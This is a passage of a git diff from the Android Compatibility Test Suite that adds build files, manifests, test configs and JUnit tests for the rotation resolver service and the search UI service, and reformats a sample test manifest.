+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.ARotated2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+    }
 }
diff --git a/tests/rotationresolverservice/Android.mk b/tests/rotationresolverservice/Android.mk
new file mode 100644
index 0000000..5b81537
--- /dev/null
+++ b/tests/rotationresolverservice/Android.mk
@@ -0,0 +1,53 @@
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    androidx.test.rules \
+    androidx.test.ext.junit \
+    compatibility-device-util-axt \
+    platform-test-annotations \
+    compatibility-device-util-axt \
+    cts-wm-util \
+    android-common \
+    android-support-v4 \
+
+LOCAL_JAVA_LIBRARIES := \
+    android.test.base \
+    android.test.runner \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_PACKAGE_NAME := CtsRotationResolverServiceDeviceTestCases
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/rotationresolverservice/AndroidManifest.xml b/tests/rotationresolverservice/AndroidManifest.xml
new file mode 100644
index 0000000..c0c56d7
--- /dev/null
+++ b/tests/rotationresolverservice/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.rotationresolverservice.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service
+            android:exported="true"
+            android:name=".CtsTestRotationResolverService"
+            android:permission="android.permission.BIND_ROTATION_RESOLVER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.rotationresolver.RotationResolverService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for the Rotation Resolver Service APIs."
+        android:targetPackage="android.rotationresolverservice.cts" >
+    </instrumentation>
+</manifest>
\ No newline at end of file
diff --git a/tests/rotationresolverservice/AndroidTest.xml b/tests/rotationresolverservice/AndroidTest.xml
new file mode 100644
index 0000000..0ea0dc2
--- /dev/null
+++ b/tests/rotationresolverservice/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CtsRotationResolverServiceDeviceTestCases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsRotationResolverServiceDeviceTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.rotationresolverservice.cts" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/rotationresolverservice/OWNERS b/tests/rotationresolverservice/OWNERS
new file mode 100644
index 0000000..8e955ad
--- /dev/null
+++ b/tests/rotationresolverservice/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 557553
+asalo@google.com
+eejiang@google.com
+payamp@google.com
\ No newline at end of file
diff --git a/tests/rotationresolverservice/src/android/rotationresolverservice/cts/CtsRotationResolverServiceDeviceTest.java b/tests/rotationresolverservice/src/android/rotationresolverservice/cts/CtsRotationResolverServiceDeviceTest.java
new file mode 100644
index 0000000..06cd978
--- /dev/null
+++ b/tests/rotationresolverservice/src/android/rotationresolverservice/cts/CtsRotationResolverServiceDeviceTest.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.rotationresolverservice.cts;
+
+import static android.view.Surface.ROTATION_0;
+import static android.view.Surface.ROTATION_90;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.os.Build.VERSION;
+import android.os.Build.VERSION_CODES;
+import android.platform.test.annotations.AppModeFull;
+import android.service.rotationresolver.RotationResolutionRequest;
+import android.service.rotationresolver.RotationResolverService;
+import android.text.TextUtils;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+/**
+ * This suite of test ensures that RotationResolverManagerService behaves correctly when properly
+ * bound to an RotationResolverService implementation
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "PM will not recognize CtsTestRotationResolverService in instantMode.")
+public class CtsRotationResolverServiceDeviceTest {
+
+    private static final String NAMESPACE_ROTATION_RESOLVER = "rotation_resolver";
+    private static final String KEY_SERVICE_ENABLED = "service_enabled";
+    private static final String FAKE_SERVICE_PACKAGE =
+            CtsTestRotationResolverService.class.getPackage().getName();
+    private static final String FAKE_PACKAGE_NAME = "package_name";
+    private static final boolean FAKE_SHOULD_USE_CAMERA = true;
+    private static final long FAKE_TIME_OUT = 1000L;
+
+    private final boolean isTestable =
+            !TextUtils.isEmpty(getRotationResolverServiceComponent());
+    private Context mContext;
+
+    @Rule
+    public final DeviceConfigStateChangerRule mLookAllTheseRules =
+            new DeviceConfigStateChangerRule(getInstrumentation().getTargetContext(),
+                    NAMESPACE_ROTATION_RESOLVER,
+                    KEY_SERVICE_ENABLED,
+                    "true");
+
+    @Before
+    public void setUp() {
+        assumeTrue(VERSION.SDK_INT >= VERSION_CODES.S);
+        assumeTrue("Feature not available on this device. Skipping test.", isTestable);
+        mContext = ApplicationProvider.getApplicationContext();
+        clearTestableRotationResolverService();
+        CtsTestRotationResolverService.reset();
+        bindToTestService();
+    }
+
+    @After
+    public void tearDown() {
+        clearTestableRotationResolverService();
+    }
+
+    @Test
+    public void testRotationResolverService_OnSuccess() {
+        /** From manager, call ResolveRotation() on test service */
+        assertThat(CtsTestRotationResolverService.hasPendingChecks()).isFalse();
+        callResolveRotation();
+
+        /** From test service, verify that onResolveRotation was called */
+        assertThat(CtsTestRotationResolverService.hasPendingChecks()).isTrue();
+
+        /** From test service, respond with onSuccess */
+        CtsTestRotationResolverService.respondSuccess(ROTATION_0);
+
+        /** From manager, verify onSuccess callback was received*/
+        assertThat(getLastTestCallbackCode()).isEqualTo(ROTATION_0);
+    }
+
+    @Test
+    public void testRotationResolverService_OnCancelledFromService() {
+        /** From manager, call ResolveRotation() on test service */
+        assertThat(CtsTestRotationResolverService.hasPendingChecks()).isFalse();
+        callResolveRotation();
+
+        /** From test service, verify that onResolveRotation was called */
+        assertThat(CtsTestRotationResolverService.hasPendingChecks()).isTrue();
+
+        /** From test service, cancel the check and respond with
+         * ROTATION_RESULT_FAILURE_CANCELLED */
+        CtsTestRotationResolverService.respondFailure(
+                RotationResolverService.ROTATION_RESULT_FAILURE_CANCELLED);
+
+        /** From test service, verify that the check was cancelled */
+        assertThat(CtsTestRotationResolverService.hasPendingChecks()).isFalse();
+
+        /** From manager, verify that the onFailure callback was called with
+         * ROTATION_RESULT_FAILURE_CANCELLED */
+        assertThat(getLastTestCallbackCode()).isEqualTo(
+                RotationResolverService.ROTATION_RESULT_FAILURE_CANCELLED);
+    }
+
+    @Test
+    public void testRotationResolutionRequest_ConstructorSetsValues() {
+        /* Construct a RotationResolutionObject */
+        final RotationResolutionRequest request = new RotationResolutionRequest(FAKE_PACKAGE_NAME,
+                ROTATION_0, ROTATION_90, FAKE_SHOULD_USE_CAMERA, FAKE_TIME_OUT);
+
+        /* Verify the values are correctly set */
+        assertThat(request.getPackageName()).isEqualTo(FAKE_PACKAGE_NAME);
+        assertThat(request.getCurrentRotation()).isEqualTo(ROTATION_0);
+        assertThat(request.getProposedRotation()).isEqualTo(ROTATION_90);
+        assertThat(request.shouldUseCamera()).isEqualTo(FAKE_SHOULD_USE_CAMERA);
+        assertThat(request.getTimeoutMillis()).isEqualTo(FAKE_TIME_OUT);
+    }
+
+    private void bindToTestService() {
+        /** On Manager, bind to test service */
+        assertThat(getRotationResolverServiceComponent()).isNotEqualTo(FAKE_SERVICE_PACKAGE);
+        setTestableRotationResolverService(FAKE_SERVICE_PACKAGE);
+        assertThat(getRotationResolverServiceComponent()).contains(FAKE_SERVICE_PACKAGE);
+    }
+
+    private String getRotationResolverServiceComponent() {
+        return runShellCommand("cmd resolver get-bound-package");
+    }
+
+    private int getLastTestCallbackCode() {
+        return Integer.parseInt(runShellCommand("cmd resolver get-last-resolution"));
+    }
+
+    /**
+     * This call is asynchronous (manager spawns + binds to service and then asynchronously makes a
+     * check attention call).
+     * As such, we need to ensure consistent testing results, by waiting until we receive a response
+     * in our test service w/ CountDownLatch(s).
+     */
+    private void callResolveRotation() {
+        runShellCommand("cmd resolver resolve-rotation");
+        CtsTestRotationResolverService.onReceivedResponse();
+    }
+
+    private void setTestableRotationResolverService(String service) {
+        runShellCommand("cmd resolver set-testing-package " + service);
+    }
+
+    private void clearTestableRotationResolverService() {
+        runShellCommand("cmd resolver clear-testing-package");
+    }
+
+}
\ No newline at end of file
diff --git a/tests/rotationresolverservice/src/android/rotationresolverservice/cts/CtsTestRotationResolverService.java b/tests/rotationresolverservice/src/android/rotationresolverservice/cts/CtsTestRotationResolverService.java
new file mode 100644
index 0000000..ca509ba
--- /dev/null
+++ b/tests/rotationresolverservice/src/android/rotationresolverservice/cts/CtsTestRotationResolverService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.rotationresolverservice.cts;
+
+import android.os.CancellationSignal;
+import android.os.CancellationSignal.OnCancelListener;
+import android.service.rotationresolver.RotationResolutionRequest;
+import android.service.rotationresolver.RotationResolverService;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+public class CtsTestRotationResolverService extends RotationResolverService {
+    private static final String TAG = "CtsTestRotationResolverService";
+
+    private static RotationResolverCallback sCurrentCallback;
+    private static CountDownLatch sRespondLatch = new CountDownLatch(1);
+
+    @Override
+    public void onResolveRotation(RotationResolutionRequest request,
+            CancellationSignal cancellationSignal,
+            RotationResolverCallback callback) {
+        sCurrentCallback = callback;
+        sRespondLatch.countDown();
+
+        cancellationSignal.setOnCancelListener(new OnCancelListener() {
+            public void onCancel() {
+                callback.onFailure(RotationResolverService.ROTATION_RESULT_FAILURE_CANCELLED);
+                reset();
+                sRespondLatch.countDown();
+            }
+        });
+    }
+
+    public static void reset() {
+        sCurrentCallback = null;
+    }
+
+    public static void respondSuccess(int code) {
+        if (sCurrentCallback != null) {
+            sCurrentCallback.onSuccess(code);
+        }
+        reset();
+    }
+
+    public static void respondFailure(int code) {
+        if (sCurrentCallback != null) {
+            sCurrentCallback.onFailure(code);
+        }
+        reset();
+    }
+
+    public static boolean hasPendingChecks() {
+        return sCurrentCallback != null;
+    }
+
+    public static void onReceivedResponse() {
+        try {
+            if (!sRespondLatch.await(3000, TimeUnit.MILLISECONDS)) {
+                throw new AssertionError(
+                        "CtsTestRotationResolverService timed out while expecting a call.");
+            }
+            //reset for next
+            sRespondLatch = new CountDownLatch(1);
+        } catch (InterruptedException e) {
+            Log.e(TAG, e.getMessage());
+            Thread.currentThread().interrupt();
+            throw new AssertionError("Got InterruptedException while waiting for response.");
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/sample/AndroidManifest.xml b/tests/sample/AndroidManifest.xml
index adeb050..decd1bc 100755
--- a/tests/sample/AndroidManifest.xml
+++ b/tests/sample/AndroidManifest.xml
@@ -16,25 +16,24 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sample.cts"
-    android:targetSandboxVersion="2">
+     package="android.sample.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.sample.SampleDeviceActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.sample.SampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS sample tests"
-        android:targetPackage="android.sample.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS sample tests"
+         android:targetPackage="android.sample.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/searchui/Android.bp b/tests/searchui/Android.bp
new file mode 100644
index 0000000..80a8613
--- /dev/null
+++ b/tests/searchui/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSearchUiServiceTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/searchui/AndroidManifest.xml b/tests/searchui/AndroidManifest.xml
new file mode 100644
index 0000000..589c052
--- /dev/null
+++ b/tests/searchui/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.searchuiservice.cts"
+     android:targetSandboxVersion="2">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".CtsSearchUiService"
+             android:label="CtsSearchUiService"
+             android:exported="true">
+            <intent-filter>
+                <!-- This constant must match SearchUiService.SERVICE_INTERFACE -->
+                <action android:name="android.service.search.SearchUiService"/>
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the Search Ui Framework APIs."
+         android:targetPackage="android.searchuiservice.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/searchui/AndroidTest.xml b/tests/searchui/AndroidTest.xml
new file mode 100644
index 0000000..c033f4c
--- /dev/null
+++ b/tests/searchui/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Search UI Service CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsSearchUiServiceTestCases.apk" />
+  </target_preparer>
+
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.searchuiservice.cts" />
+    <!-- 20x default timeout of 600sec -->
+    <option name="shell-timeout" value="12000000"/>
+  </test>
+
+</configuration>
diff --git a/tests/searchui/OWNERS b/tests/searchui/OWNERS
new file mode 100644
index 0000000..534f688
--- /dev/null
+++ b/tests/searchui/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 758286
+hyunyoungs@google.com
diff --git a/tests/searchui/TEST_MAPPING b/tests/searchui/TEST_MAPPING
new file mode 100644
index 0000000..1135ad2
--- /dev/null
+++ b/tests/searchui/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSearchUiServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
new file mode 100644
index 0000000..8e02890
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSessionId;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.content.Intent;
+import android.service.search.SearchUiService;
+import android.util.Log;
+
+import org.mockito.Mockito;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.List;
+import java.util.function.Consumer;
+
+public class CtsSearchUiService extends SearchUiService {
+
+    private static final boolean DEBUG = false;
+    private static final String TAG = CtsSearchUiService.class.getSimpleName();
+
+    public static final String MY_PACKAGE = "android.searchuiservice.cts";
+    public static final String SERVICE_NAME = MY_PACKAGE + "/."
+            + CtsSearchUiService.class.getSimpleName();
+
+    private static Watcher sWatcher;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        if (DEBUG) Log.d(TAG, "onCreate");
+
+    }
+
+    @Override
+    public void onDestroy(SearchSessionId sessionId) {
+        if (DEBUG) Log.d(TAG, "onDestroy");
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        if (DEBUG) Log.d(TAG, "unbind");
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onCreateSearchSession(SearchContext context,
+            SearchSessionId sessionId) {
+        if (DEBUG) Log.d(TAG, "onCreateSearchSession");
+
+        if (sWatcher.verifier != null) {
+            Log.e(TAG, "onCreateSearchSession, trying to set verifier when it already exists");
+        }
+        sWatcher.verifier = Mockito.mock(CtsSearchUiService.class);
+        sWatcher.created.countDown();
+    }
+
+    @Override
+    public void onNotifyEvent(SearchSessionId sessionId,
+            Query input, SearchTargetEvent event) {
+        if (DEBUG){
+            Log.d(TAG, "onNotifyEvent query=" + input.getInput() + ", event="
+                    + event.getTargetId());
+        }
+        sWatcher.verifier.onNotifyEvent(sessionId, input, event);
+    }
+
+    @Override
+    public void onQuery(SearchSessionId sessionId, Query input,
+            Consumer<List<SearchTarget>> callback) {
+        if (DEBUG) Log.d(TAG, "onQuery query=" + input.getInput());
+        if (sWatcher.searchTargets != null) {
+            callback.accept(sWatcher.searchTargets);
+        } else {
+            sWatcher.verifier.onQuery(sessionId, input, callback);
+        }
+    }
+
+    public static Watcher setWatcher() {
+        if (DEBUG) {
+            Log.d(TAG, "");
+            Log.d(TAG, "----------------------------------------------");
+            Log.d(TAG, " setWatcher");
+        }
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        if (DEBUG) Log.d(TAG, "clearWatcher");
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        public CountDownLatch created = new CountDownLatch(1);
+        public CountDownLatch destroyed = new CountDownLatch(1);
+        public CountDownLatch queried = new CountDownLatch(1);
+
+        /**
+         * Can be used to verify that API specific service methods are called. Not a real mock as
+         * the system isn't talking to this directly, it has calls proxied to it.
+         */
+        public CtsSearchUiService verifier;
+
+        public List<SearchTarget> searchTargets;
+
+        public void setTargets(List<SearchTarget> targets) {
+            searchTargets = targets;
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
new file mode 100644
index 0000000..8018f15
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
+import android.app.search.SearchAction;
+import android.app.search.SearchAction.Builder;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for {@link SearchAction}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(JUnit4.class)
+public class SearchActionTest {
+    private static final String ID = "ID";
+    private static final String TITLE = "TITLE";
+    private static final Intent INTENT = new Intent();
+
+    private final SearchAction.Builder mBuilder = new SearchAction.Builder(ID, TITLE);
+
+    private final Bundle mExtras = new Bundle();
+
+    @Before
+    public void setIntentExtras() {
+        mExtras.putString("SEARCH", "AWESOME");
+        mBuilder.setExtras(mExtras).setIntent(INTENT);
+    }
+
+    @Test
+    public void testBuilder_invalidId() {
+        assertThrows(NullPointerException.class, () -> new Builder (null, TITLE));
+    }
+
+    @Test
+    public void testBuilder_invalidTitle() {
+        assertThrows(NullPointerException.class, () -> new Builder (ID, null));
+    }
+
+    @Test
+    public void testBuilder_zeroIntent() {
+        assertThrows(IllegalStateException.class, () -> new Builder(ID, TITLE).build());
+    }
+
+    @Test
+    public void testParcel_nullIcon() {
+        final SearchAction originalSearchAction = mBuilder.setIntent(INTENT).build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_bitmapIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithBitmap(
+                        Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8)))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_filePathIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithFilePath("file path"))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    private void assertEverything(@NonNull SearchAction searchAction) {
+        assertThat(searchAction).isNotNull();
+        assertThat(searchAction.getId()).isEqualTo(ID);
+        assertThat(searchAction.getTitle()).isEqualTo(TITLE);
+        assertExtras(searchAction.getExtras());
+    }
+
+    private void assertExtras(@NonNull Bundle bundle) {
+        assertThat(bundle).isNotNull();
+        assertThat(bundle.keySet()).hasSize(1);
+        assertThat(bundle.getString("SEARCH")).isEqualTo("AWESOME");
+    }
+
+    private SearchAction cloneThroughParcel(@NonNull SearchAction searchAction) {
+        final Parcel parcel = Parcel.obtain();
+
+        try {
+            // Write to parcel
+            parcel.setDataPosition(0);
+            searchAction.writeToParcel(parcel, 0);
+
+            // Read from parcel
+            parcel.setDataPosition(0);
+            final SearchAction clone = SearchAction.CREATOR
+                    .createFromParcel(parcel);
+            assertThat(clone).isNotNull();
+            return clone;
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
new file mode 100644
index 0000000..ab20790
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_INPUT;
